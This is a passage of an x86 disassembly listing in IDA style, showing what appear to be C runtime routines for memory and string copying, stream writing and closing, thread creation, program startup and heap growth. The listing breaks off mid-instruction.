sub_4075B0 call sub_408B70 add esp, 10h mov esi, eax loc_407621: ; CODE XREF: sub_4075F0+17j pop edi pop esi pop ebx pop ebp retn sub_4075F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407630 proc near ; DATA XREF: sub_407650+11o ; sub_448ABB+11o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push ebx mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_4079C0 add esp, 0Ch add eax, ebx pop ebx pop ebp retn sub_407630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407650 proc near ; CODE XREF: DMN0:004011CCp ; sub_4025A9+17Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea esi, [ebp+arg_8] push esi mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407630 call sub_408B70 add esp, 10h mov ebx, eax test ebx, ebx jl short loc_40767B mov eax, [ebp+arg_0] mov byte ptr [eax+ebx], 0 loc_40767B: ; CODE XREF: sub_407650+22j mov eax, ebx pop esi pop ebx pop ebp retn sub_407650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407690 proc near ; CODE XREF: DMN0:004011F1p ; sub_403838+77p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004076F4 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F898 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408AD0 pop ecx mov [ebp+var_4], 0 call sub_408E50 push 0FFFFFFFFh push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_408EB0 add esp, 10h mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4076EB jmp short loc_4076F4 sub_407690 endp ; =============== S U B R O U T I N E ======================================= sub_4076EB proc near ; CODE XREF: sub_407690+54p ; DATA XREF: DMN0:0040F8A0o push 6 call sub_408B50 pop ecx retn sub_4076EB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407690 loc_4076F4: ; CODE XREF: sub_407690+59j mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407690 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407710 proc near ; DATA XREF: sub_407740+10o ; sub_448BAB+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] push ebx push esi push 1 mov eax, [ebp+arg_4] push eax call sub_407AF0 add esp, 10h cmp eax, esi jnz short loc_407734 mov edi, ebx jmp short loc_407736 ; --------------------------------------------------------------------------- loc_407734: ; CODE XREF: sub_407710+1Ej xor edi, edi loc_407736: ; CODE XREF: sub_407710+22j mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_407710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407740 proc near ; CODE XREF: DMN0:0040120Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407710 call sub_408B70 add esp, 10h mov ebx, eax pop ebx pop ebp retn sub_407740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407770 proc near ; DATA XREF: sub_407790+48o ; sub_448BFB+48o push ebx xor ebx, ebx loc_407773: ; CODE XREF: sub_407770+1Cj mov eax, off_411374[ebx*4] test eax, eax jz short loc_407785 push eax call sub_4078F0 pop ecx loc_407785: ; CODE XREF: sub_407770+Cj inc ebx cmp ebx, 100h jb short loc_407773 pop ebx retn sub_407770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407790 proc near ; CODE XREF: sub_408EB0:loc_408FE4p ; sub_409230+B2p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004077F7 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8A4 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408AD0 pop ecx mov [ebp+var_4], 0 cmp dword_411060, 0 jnz short loc_4077E3 mov dword_411060, 1 push offset sub_407770 call sub_409000 pop ecx loc_4077E3: ; CODE XREF: sub_407790+3Cj or [ebp+var_4], 0FFFFFFFFh call sub_4077EE jmp short loc_4077F7 sub_407790 endp ; =============== S U B R O U T I N E ======================================= sub_4077EE proc near ; CODE XREF: sub_407790+57p ; DATA XREF: DMN0:0040F8ACo push 6 call sub_408B50 pop ecx retn sub_4077EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407790 loc_4077F7: ; CODE XREF: sub_407790+5Cj pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407790 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407810 proc near ; CODE XREF: sub_4078F0+39p arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] push ebx call sub_409030 pop ecx mov esi, eax test word ptr [ebx], 40h jz short loc_407831 mov eax, [ebx+8] push eax call sub_407480 pop ecx loc_407831: ; CODE XREF: sub_407810+15j mov dword ptr [ebx+8], 0 mov eax, [ebx+4] test eax, eax jl short loc_40784D push eax call sub_4091B0 pop ecx test eax, eax jz short loc_40784D or esi, 0FFFFFFFFh loc_40784D: ; CODE XREF: sub_407810+2Dj ; sub_407810+38j mov eax, [ebx+3Ch] test eax, eax jz short loc_407873 push eax call sub_407E20 pop ecx test eax, eax jz short loc_407862 or esi, 0FFFFFFFFh loc_407862: ; CODE XREF: sub_407810+4Dj mov eax, [ebx+3Ch] push eax call sub_407480 pop ecx mov dword ptr [ebx+3Ch], 0 loc_407873: ; CODE XREF: sub_407810+42j test word ptr [ebx], 80h jz short loc_4078A4 xor edi, edi loc_40787C: ; CODE XREF: sub_407810+89j cmp ebx, off_411374[edi*4] jnz short loc_407892 mov off_411374[edi*4], 0 jmp short loc_40789B ; --------------------------------------------------------------------------- loc_407892: ; CODE XREF: sub_407810+73j inc edi cmp edi, 100h jb short loc_40787C loc_40789B: ; CODE XREF: sub_407810+80j push ebx call sub_407480 pop ecx jmp short loc_4078DD ; --------------------------------------------------------------------------- loc_4078A4: ; CODE XREF: sub_407810+68j mov word ptr [ebx], 0 or dword ptr [ebx+4], 0FFFFFFFFh lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax loc_4078DD: ; CODE XREF: sub_407810+92j mov eax, esi pop edi pop esi pop ebx retn sub_407810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078F0 proc near ; CODE XREF: DMN0:00401214p ; sub_403838+108p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00407946 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8B0 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408AD0 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_407810 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_40793D jmp short loc_407946 sub_4078F0 endp ; =============== S U B R O U T I N E ======================================= sub_40793D proc near ; CODE XREF: sub_4078F0+46p ; DATA XREF: DMN0:0040F8B8o push 6 call sub_408B50 pop ecx retn sub_40793D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4078F0 loc_407946: ; CODE XREF: sub_4078F0+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4078F0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407960 proc near ; CODE XREF: sub_401567+Fp ; sub_4015B7+Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] test edx, edx jz short loc_4079AE mov ecx, [esp+arg_0] xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4079A7 neg ecx and ecx, 3 jz short loc_407989 sub edx, ecx loc_407983: ; CODE XREF: sub_407960+27j mov [edi], al inc edi dec ecx jnz short loc_407983 loc_407989: ; CODE XREF: sub_407960+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4079A7 rep stosd test edx, edx jz short loc_4079AD loc_4079A7: ; CODE XREF: sub_407960+18j ; sub_407960+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4079A7 loc_4079AD: ; CODE XREF: sub_407960+45j pop edi loc_4079AE: ; CODE XREF: sub_407960+6j mov eax, [esp+arg_0] retn sub_407960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4079C0 proc near ; CODE XREF: sub_401A55+2Cp ; sub_401ADA+57p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_4] jmp short loc_4079D6 ; --------------------------------------------------------------------------- loc_4079CF: ; CODE XREF: sub_4079C0+18j mov al, [edx] mov [ebx], al inc ebx inc edx dec ecx loc_4079D6: ; CODE XREF: sub_4079C0+Dj test ecx, ecx jnz short loc_4079CF mov eax, [esp+4+arg_0] pop ebx retn sub_4079C0 endp ; =============== S U B R O U T I N E ======================================= sub_4079E0 proc near ; CODE XREF: sub_402208+2Ep ; sub_402511+11p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov edx, ecx jmp short loc_4079E9 ; --------------------------------------------------------------------------- loc_4079E8: ; CODE XREF: sub_4079E0+Cj inc edx loc_4079E9: ; CODE XREF: sub_4079E0+6j cmp byte ptr [edx], 0 jnz short loc_4079E8 mov eax, edx sub eax, ecx retn sub_4079E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407A00 proc near ; CODE XREF: sub_402296+3Fp ; sub_4025A9+2D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi mov ecx, [esp+8+arg_0] mov ebx, [esp+8+arg_4] mov edi, ecx loc_407A0C: ; CODE XREF: sub_407A00+18j mov eax, edi inc edi mov edx, ebx inc ebx mov dl, [edx] mov [eax], dl test dl, dl jnz short loc_407A0C mov eax, ecx pop edi pop ebx retn sub_407A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407A20 proc near ; CODE XREF: sub_402296+53p ; sub_402296+66p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov ebx, [esp+4+arg_4] mov edx, ecx jmp short loc_407A2E ; --------------------------------------------------------------------------- loc_407A2D: ; CODE XREF: sub_407A20+11j inc edx loc_407A2E: ; CODE XREF: sub_407A20+Bj cmp byte ptr [edx], 0 jnz short loc_407A2D jmp short loc_407A37 ; --------------------------------------------------------------------------- loc_407A35: ; CODE XREF: sub_407A20+1Dj inc edx inc ebx loc_407A37: ; CODE XREF: sub_407A20+13j mov al, [ebx] mov [edx], al test al, al jnz short loc_407A35 mov eax, ecx pop ebx retn sub_407A20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407A50 proc near ; CODE XREF: sub_4025A9+268p ; sub_4025A9+297p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] cmp byte ptr [eax], 0 jnz short loc_407A80 mov eax, ebx jmp short loc_407A99 ; --------------------------------------------------------------------------- loc_407A64: ; CODE XREF: sub_407A50+45j mov edi, ebx mov esi, [esp+0Ch+arg_4] loc_407A6A: ; CODE XREF: sub_407A50+2Dj inc esi mov eax, esi cmp byte ptr [eax], 0 jnz short loc_407A76 mov eax, ebx jmp short loc_407A99 ; --------------------------------------------------------------------------- loc_407A76: ; CODE XREF: sub_407A50+20j inc edi mov eax, edi mov dl, [esi] cmp [eax], dl jz short loc_407A6A inc ebx loc_407A80: ; CODE XREF: sub_407A50+Ej mov eax, [esp+0Ch+arg_4] movzx eax, byte ptr [eax] push eax push ebx call sub_409210 add esp, 8 mov ebx, eax test eax, eax jnz short loc_407A64 xor eax, eax loc_407A99: ; CODE XREF: sub_407A50+12j ; sub_407A50+24j pop edi pop esi pop ebx retn sub_407A50 endp ; --------------------------------------------------------------------------- align 10h pop ecx pop eax add eax, 3 and eax, 0FFFFFFFCh call sub_407AC0 mov eax, esp push ecx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407AC0 proc near ; CODE XREF: sub_402896+8p ; sub_402B02+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_407AE0 loc_407ACC: ; CODE XREF: sub_407AC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_407ACC loc_407AE0: ; CODE XREF: sub_407AC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_407AC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407AF0 proc near ; CODE XREF: sub_403838+D8p ; sub_406183+CBp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_C] mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mul [ebp+arg_8] mov esi, eax test eax, eax jz loc_407BF4 cmp [ebp+arg_4], 0 jnz loc_407BCA mov eax, [ebp+arg_8] jmp loc_407BF4 ; --------------------------------------------------------------------------- loc_407B24: ; CODE XREF: sub_407AF0+DCj mov eax, [ebx+18h] cmp eax, [ebx+10h] ja short loc_407B3B push ebx call sub_409230 pop ecx test eax, eax jl loc_407BD2 loc_407B3B: ; CODE XREF: sub_407AF0+3Aj test word ptr [ebx], 400h jz short loc_407B56 push esi push 0Ah mov eax, [ebp+var_4] push eax call sub_409330 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_407B5D ; --------------------------------------------------------------------------- loc_407B56: ; CODE XREF: sub_407AF0+50j mov [ebp+var_10], 0 loc_407B5D: ; CODE XREF: sub_407AF0+64j mov eax, [ebp+var_10] mov [ebp+var_8], eax test eax, eax jz short loc_407B75 mov eax, [ebp+var_8] mov edx, [ebp+var_4] sub eax, edx inc eax mov [ebp+var_14], eax jmp short loc_407B78 ; --------------------------------------------------------------------------- loc_407B75: ; CODE XREF: sub_407AF0+75j mov [ebp+var_14], esi loc_407B78: ; CODE XREF: sub_407AF0+83j mov edi, [ebp+var_14] mov eax, [ebx+18h] mov edx, [ebx+10h] sub eax, edx mov [ebp+var_C], eax cmp [ebp+var_C], edi jnb short loc_407B95 mov [ebp+var_8], 0 mov edi, [ebp+var_C] loc_407B95: ; CODE XREF: sub_407AF0+99j push edi mov eax, [ebp+var_4] push eax mov eax, [ebx+10h] push eax call sub_4079C0 add esp, 0Ch mov eax, [ebp+var_4] add eax, edi mov [ebp+var_4], eax sub esi, edi lea eax, [ebx+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_8], 0 jz short loc_407BCA push ebx call sub_409030 pop ecx test eax, eax jnz short loc_407BD2 loc_407BCA: ; CODE XREF: sub_407AF0+26j ; sub_407AF0+CDj test esi, esi jnz loc_407B24 loc_407BD2: ; CODE XREF: sub_407AF0+45j ; sub_407AF0+D8j test word ptr [ebx], 800h jz short loc_407BE0 push ebx call sub_409030 pop ecx loc_407BE0: ; CODE XREF: sub_407AF0+E7j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mul [ebp+arg_8] sub eax, esi mov edx, [ebp+var_8] mov ecx, edx xor edx, edx div ecx loc_407BF4: ; CODE XREF: sub_407AF0+1Cj ; sub_407AF0+2Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407AF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C00 proc near ; DATA XREF: sub_407CA0+2Do ; sub_44910B+2Do var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8BC push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] push ebx mov eax, dword_411774 push eax call dword_411D9C ; TlsSetValue test eax, eax jnz short loc_407C42 push 1 call sub_409520 pop ecx loc_407C42: ; CODE XREF: sub_407C00+38j mov [ebp+var_4], 0 mov eax, [ebx+44h] push eax call dword ptr [ebx+40h] pop ecx call sub_407D30 jmp short loc_407C80 ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_1C], eax mov eax, [ebp+var_14] push eax mov eax, [ebp+var_1C] push eax call sub_409530 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov eax, [ebp+var_1C] push eax call sub_409520 pop ecx loc_407C80: ; CODE XREF: sub_407C00+56j or [ebp+var_4], 0FFFFFFFFh xor eax, eax pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_407C00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CA0 proc near ; CODE XREF: sub_403C3F+366p ; sub_40400E+14p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi xor esi, esi push 48h call sub_408530 pop ecx mov ebx, eax test eax, eax jz short loc_407D0F push ebx call sub_4093F0 pop ecx mov eax, [ebp+arg_0] mov [ebx+40h], eax mov eax, [ebp+arg_8] mov [ebx+44h], eax push ebx push 4 push ebx push offset sub_407C00 mov eax, [ebp+arg_4] push eax push 0 call dword_411DA0 ; CreateThread mov edi, eax mov [ebx+4], eax test eax, eax jnz short loc_407CF1 call dword_411CEC ; RtlGetLastWin32Error mov esi, eax jmp short loc_407D0F ; --------------------------------------------------------------------------- loc_407CF1: ; CODE XREF: sub_407CA0+45j mov eax, edi push eax call dword_411DA4 ; ResumeThread cmp eax, 0FFFFFFFFh jnz short loc_407D0B call dword_411CEC ; RtlGetLastWin32Error mov esi, eax jmp short loc_407D0F ; --------------------------------------------------------------------------- loc_407D0B: ; CODE XREF: sub_407CA0+5Fj mov eax, edi jmp short loc_407D24 ; --------------------------------------------------------------------------- loc_407D0F: ; CODE XREF: sub_407CA0+14j ; sub_407CA0+4Fj ... push ebx call sub_407480 pop ecx test esi, esi jz short loc_407D21 push esi call sub_4085D0 pop ecx loc_407D21: ; CODE XREF: sub_407CA0+78j or eax, 0FFFFFFFFh loc_407D24: ; CODE XREF: sub_407CA0+6Dj pop edi pop esi pop ebx pop ebp retn sub_407CA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407D30 proc near ; CODE XREF: sub_40399A+1D7p ; sub_403C3F+39Fp ... push ebx call sub_409420 mov ebx, eax test eax, eax jnz short loc_407D44 push 1 call sub_409520 pop ecx loc_407D44: ; CODE XREF: sub_407D30+Aj cmp dword ptr [ebx+4], 0FFFFFFFFh jz short loc_407D57 mov eax, [ebx+4] push eax call dword_411CFC ; CloseHandle loc_407D57: ; CODE XREF: sub_407D30+1Bj push ebx call sub_409490 pop ecx push 0 call dword_411DA8 ; ExitThread pop ebx retn sub_407D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D70 proc near ; CODE XREF: sub_405C00+DAp ; sub_405C00+F1p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00407DF6 SIZE 0000001B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8C8 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 2 call sub_408AD0 pop ecx mov [ebp+var_4], 0 jmp short loc_407DBC ; --------------------------------------------------------------------------- loc_407DA7: ; CODE XREF: sub_407D70+53j mov eax, dword_4111A4 lea edx, [eax+1] mov dword_4111A4, edx call dword_411064[eax*4] loc_407DBC: ; CODE XREF: sub_407D70+35j cmp dword_4111A4, 50h jb short loc_407DA7 jmp short loc_407DD9 ; --------------------------------------------------------------------------- loc_407DC7: ; CODE XREF: sub_407D70+70j mov eax, dword_4111A8 dec eax mov dword_4111A8, eax call dword_411064[eax*4] loc_407DD9: ; CODE XREF: sub_407D70+55j cmp dword_4111A8, 0 jnz short loc_407DC7 or [ebp+var_4], 0FFFFFFFFh call sub_407DED jmp short loc_407DF6 sub_407D70 endp ; =============== S U B R O U T I N E ======================================= sub_407DED proc near ; CODE XREF: sub_407D70+76p ; DATA XREF: DMN0:0040F8D0o push 2 call sub_408B50 pop ecx retn sub_407DED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407D70 loc_407DF6: ; CODE XREF: sub_407D70+7Bj mov eax, [ebp+arg_0] push eax call sub_409520 pop ecx pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407D70 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407E20 proc near ; CODE XREF: sub_406815+1AAp ; sub_406815+1D9p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4095A0 pop ecx retn sub_407E20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E30 proc near ; DATA XREF: DMN1:0046BEA2o starto var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8D4 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 50h push ebx push esi push edi mov [ebp+var_18], esp push 2000000h call sub_40B1C0 pop ecx mov dword_4117E0, eax call sub_408940 test eax, eax jnz short loc_407E77 push 1 call sub_409520 pop ecx loc_407E77: ; CODE XREF: sub_407E30+3Dj call sub_409360 test eax, eax jnz short loc_407E88 push 1 call sub_409520 pop ecx loc_407E88: ; CODE XREF: sub_407E30+4Ej mov [ebp+var_4], 0 call sub_4095D0 call sub_409630 call sub_409AA0 call sub_409B40 mov esi, offset dword_4101D4 jmp short loc_407EAF ; --------------------------------------------------------------------------- loc_407EAA: ; CODE XREF: sub_407E30+85j call dword ptr [esi] add esi, 4 loc_407EAF: ; CODE XREF: sub_407E30+78j cmp esi, offset dword_4101D4 jb short loc_407EAA mov [ebp+var_30], 0 lea eax, [ebp+var_5C] push eax call dword_411DAC ; GetStartupInfoA push 0 call dword_411D70 ; GetModuleHandleA mov [ebp+var_60], eax call sub_409C00 test byte ptr [ebp+var_30], 1 jz short loc_407EE4 movzx esi, [ebp+var_2C] jmp short loc_407EE9 ; --------------------------------------------------------------------------- loc_407EE4: ; CODE XREF: sub_407E30+ACj mov esi, 0Ah loc_407EE9: ; CODE XREF: sub_407E30+B2j push esi push eax push 0 mov eax, [ebp+var_60] push eax call sub_407019 mov ebx, eax mov edi, offset dword_4101D4 jmp short loc_407F04 ; --------------------------------------------------------------------------- loc_407EFF: ; CODE XREF: sub_407E30+DAj call dword ptr [edi] add edi, 4 loc_407F04: ; CODE XREF: sub_407E30+CDj cmp edi, offset dword_4101D4 jb short loc_407EFF push ebx call sub_407D70 pop ecx jmp short loc_407F3D ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_1C], eax mov eax, [ebp+var_14] push eax mov eax, [ebp+var_1C] push eax call sub_409530 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov eax, [ebp+var_1C] push eax call sub_409520 pop ecx loc_407F3D: ; CODE XREF: sub_407E30+E3j or [ebp+var_4], 0FFFFFFFFh pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_407E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F60 proc near ; CODE XREF: sub_4081F0+ECp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov eax, [ebp+arg_0] add eax, 3 shr eax, 0Eh shl eax, 0Eh lea esi, [eax+4000h] mov edi, esi shl edi, 2 push edi call sub_409C40 pop ecx mov [ebp+var_8], eax test eax, eax jnz short loc_407F9F mov dword_4117E4, 0 xor eax, eax jmp loc_4081DD ; --------------------------------------------------------------------------- loc_407F9F: ; CODE XREF: sub_407F60+2Cj mov eax, dword_4127F0 mov edx, dword_4127EC add eax, edx cmp eax, [ebp+var_8] jnz short loc_407FC5 mov ebx, dword_4127EC mov eax, dword_4127F0 add edi, eax mov esi, edi shr esi, 2 jmp short loc_407FD2 ; --------------------------------------------------------------------------- loc_407FC5: ; CODE XREF: sub_407F60+4Fj mov eax, [ebp+var_8] mov ebx, eax mov edx, ebx sub edx, eax mov eax, edx sub edi, eax loc_407FD2: ; CODE XREF: sub_407F60+63j mov eax, esi shl eax, 2 lea edx, [ebx+eax] mov dword_4127EC, edx mov edx, edi sub edx, eax mov eax, edx mov dword_4127F0, eax mov eax, dword_4111D0 add eax, 4 cmp ebx, eax jnz short loc_408004 cmp dword_4111D8, 0 jnz loc_408176 loc_408004: ; CODE XREF: sub_407F60+95j mov eax, dword_4111D8 mov [ebp+var_C], eax mov dword_4111D8, ebx mov eax, [ebp+var_C] mov [ebx], eax add ebx, 4 dec esi mov dword_4111D0, ebx mov eax, dword_4111D4 test eax, eax jz short loc_40802E cmp eax, ebx jbe short loc_408034 loc_40802E: ; CODE XREF: sub_407F60+C8j mov dword_4111D4, ebx loc_408034: ; CODE XREF: sub_407F60+CCj mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111D0 lea eax, [eax+esi*4-4] mov dword_4111D0, eax mov edx, dword_4111D0 mov eax, esi or eax, 80000000h mov [edx], eax sub esi, 2 add ebx, 4 mov eax, dword_4111D0 lea ebx, [eax-4] cmp esi, dword_4111E8 ja short loc_4080A2 cmp esi, dword_4111E0 ja short loc_40808A mov eax, dword_4111DC cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_40809D ; --------------------------------------------------------------------------- loc_40808A: ; CODE XREF: sub_407F60+116j mov eax, dword_4111E4 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_40809D: ; CODE XREF: sub_407F60+128j mov eax, [ebp+var_10] jmp short loc_4080D2 ; --------------------------------------------------------------------------- loc_4080A2: ; CODE XREF: sub_407F60+10Ej cmp esi, dword_4111F0 ja short loc_4080BF mov eax, dword_4111EC cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_4080D2 ; --------------------------------------------------------------------------- loc_4080BF: ; CODE XREF: sub_407F60+148j mov eax, dword_4111F4 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov 